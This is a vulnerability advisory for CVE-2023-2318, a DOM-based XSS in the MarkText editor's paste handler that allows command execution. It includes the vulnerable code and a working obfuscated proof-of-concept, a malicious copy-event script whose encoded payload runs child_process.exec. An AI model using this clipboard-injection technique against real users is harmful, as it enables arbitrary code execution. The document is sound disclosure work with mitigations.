Summary:

Product MarkText
Vendor MarkText
Severity High
Affected Versions MarkText <= 0.17.1
Tested Versions MarkText 0.17.1
CVE Identifier CVE-2023-2318
CVE Description DOM-based XSS in src/muya/lib/contentState/pasteCtrl.js in MarkText 0.17.1 and before on Windows, Linux and macOS allows arbitrary JavaScript code to run in the context of MarkText main window. This vulnerability can be exploited if a user copies text from a malicious webpage and paste it into MarkText.
CWE Classification(s) CWE-79 - Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)
CAPEC Classification(s) CAPEC-588 DOM-Based XSS, CAPEC-549 Local Execution of Code

CVSS3.1 Scoring System:

Base Score: 8.6 (High)
Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Metric Value
Attack Vector (AV) Local
Attack Complexity (AC) Low
Privileges Required (PR) None
User Interaction (UI) Required
Scope (S) Changed
Confidentiality (C) High
Integrity (I) High
Availability (A) High

Product Overview:

MarkText is a free and open-source Markdown editor for Windows, macOS, and Linux. It provides a distraction-free writing environment that supports various Markdown features, such as tables, footnotes, and task lists. MarkText also offers live preview, syntax highlighting, and a customizable user interface. Additionally, it allows users to export their documents in HTML and PDF formats.

MarkText is built on Electron, a framework that enables it to run seamlessly on various operating systems. The markdown editor supports converting HTML tags into Markdown format. An attacker can use the vulnerability to execute arbitrary JavaScript code and system commands by convincing the victim to copy from a malicious webpage and paste into MarkText.

Vulnerability Summary:

There is a DOM-based XSS in MarkText allowing arbitrary JavaScript code to run in the context of MarkText main window. This vulnerability can be exploited if a user copies text from a malicious webpage and paste it into MarkText.

Vulnerability Details:

When the user performs paste operations, MarkText will check the clipboard data and try to convert HTML tags into the equivalent Markdown format, and then generate HTML again for markdown preview.

Specifically, when the user copies a link from a webpage and paste it into MarkText, the <a> tag will be processed by the following code in src/muya/lib/contentState/pasteCtrl.js:

const links = Array.from(tempWrapper.querySelectorAll('a'))
for (const link of links) {
  const href = link.getAttribute('href')
  const text = link.textContent   // [1]
  if (URL_REG.test(href) && href === text) {
    const title = await getPageTitle(href)
    if (title) {
      link.innerHTML = sanitize(title, PREVIEW_DOMPURIFY_CONFIG, true)
    } else {
      const span = document.createElement('span')   // [2]
      span.innerHTML = text   // [3]
      link.replaceWith(span)
    }
  }
}

This code iterates over all the <a> tags. For each tag, if its href attribute is the same as its textContent, MarkText will try to fetch the URL and extract title from the response, then assign to innerHTML after sanitization.

However, if the title cannot be found, MarkText will create a <span> element at [2] and assign textContent of the original <a> tag to innerHTML at [3] without any sanitization, which results in DOM-based XSS.

Proof-of-Concept:

An attacker can craft a malicious webpage and hook on the copy event with the following code:

<script>
  document.addEventListener('copy',e=>{
    e.preventDefault();
    let payload = '';
    if(navigator.platform === 'Win32') {
      payload = decodeURIComponent(atob('JTVCJUUyJTgwJUFBJTVEKCUzQ2ElMjBocmVmJTNEJTIyaHR0cCUzQSUyRiUyRjElM0ExJTJGJTIzJTI2JTIzeDNjJTNCc3ZnJTI2JTIzeDNlJTNCJTI2JTIzeDNjJTNCc3ZnJTI2JTIzeDIwJTNCb25sb2FkJTNEZXZhbChhdG9iKCdjbVZ4ZFdseVpTZ2lZMmhwYkdSZmNISnZZMlZ6Y3lJcExtVjRaV01vSW01dmRHVndZV1FnUXpwY1hIZHBibVJ2ZDNOY1hIZHBiaTVwYm1raUtRJTNEJTNEJykpJTI2JTIzeDNlJTNCJTIyJTNFaHR0cCUzQSUyRiUyRjElM0ExJTJGJTIzJTI2JTIzeDNjJTNCc3ZnJTI2JTIzeDNlJTNCJTI2JTIzeDNjJTNCc3ZnJTI2JTIzeDIwJTNCb25sb2FkJTNEZXZhbChhdG9iKCdjbVZ4ZFdseVpTZ2lZMmhwYkdSZmNISnZZMlZ6Y3lJcExtVjRaV01vSW01dmRHVndZV1FnUXpwY1hIZHBibVJ2ZDNOY1hIZHBiaTVwYm1raUtRJTNEJTNEJykpJTI2JTIzeDNlJTNCJTNDJTJGYSUzRSk='));
    } else {
      payload = decodeURIComponent(atob('JTVCJUUyJTgwJUFBJTVEKCUzQ2ElMjBocmVmJTNEJTIyaHR0cCUzQSUyRiUyRjElM0ExJTJGJTIzJTI2JTIzeDNjJTNCc3ZnJTI2JTIzeDNlJTNCJTI2JTIzeDNjJTNCc3ZnJTI2JTIzeDIwJTNCb25sb2FkJTNEZXZhbChhdG9iKCdjbVZ4ZFdseVpTZ2lZMmhwYkdSZmNISnZZMlZ6Y3lJcExtVjRaV01vSW1kdWIyMWxMV05oYkdOMWJHRjBiM0lnTFdVZ0owMWhjbXRVWlhoMElGSkRSU0JRYjBNbklpayUzRCcpKSUyNiUyM3gzZSUzQiUyMiUzRWh0dHAlM0ElMkYlMkYxJTNBMSUyRiUyMyUyNiUyM3gzYyUzQnN2ZyUyNiUyM3gzZSUzQiUyNiUyM3gzYyUzQnN2ZyUyNiUyM3gyMCUzQm9ubG9hZCUzRGV2YWwoYXRvYignY21WeGRXbHlaU2dpWTJocGJHUmZjSEp2WTJWemN5SXBMbVY0WldNb0ltZHViMjFsTFdOaGJHTjFiR0YwYjNJZ0xXVWdKMDFoY210VVpYaDBJRkpEUlNCUWIwTW5JaWslM0QnKSklMjYlMjN4M2UlM0IlM0MlMkZhJTNFKQ=='))
    }
    e.clipboardData.setData('text/html', payload + window.getSelection());
  })
</script>

The base64-encoded part in the PoC is decoded to the following content:

require("child_process").exec("notepad C:\\windows\\win.ini") // Windows
require("child_process").exec("gnome-calculator -e 'MarkText RCE PoC'") // Linux

When the victim copies text from this page, the payload is added to the copied content and will be triggered when it is pasted into MarkText. This PoC will run system command notepad on Windows, or gnome-calculator on Linux.

Here are GIFs demonstrating the PoC on Windows and Ubuntu:

We have attached poc/poc.html as PoC of this scenario. A live version can also be found here.

Suggested Mitigations:

It is recommended to sanitize untrusted data before assigning it to innerHTML.

For end users who are using the versions affected by this vulnerability, it is suggested to avoid copying text from an untrusted webpage then paste it into MarkText.

Detection Guidance:

It is possible to detect the exploitation of this vulnerability by monitoring if MarkText process spawns any unusual child process.

Credits:

Li Jiantao (@CurseRed) of STAR Labs SG Pte. Ltd. (@starlabs_sg)

Timeline: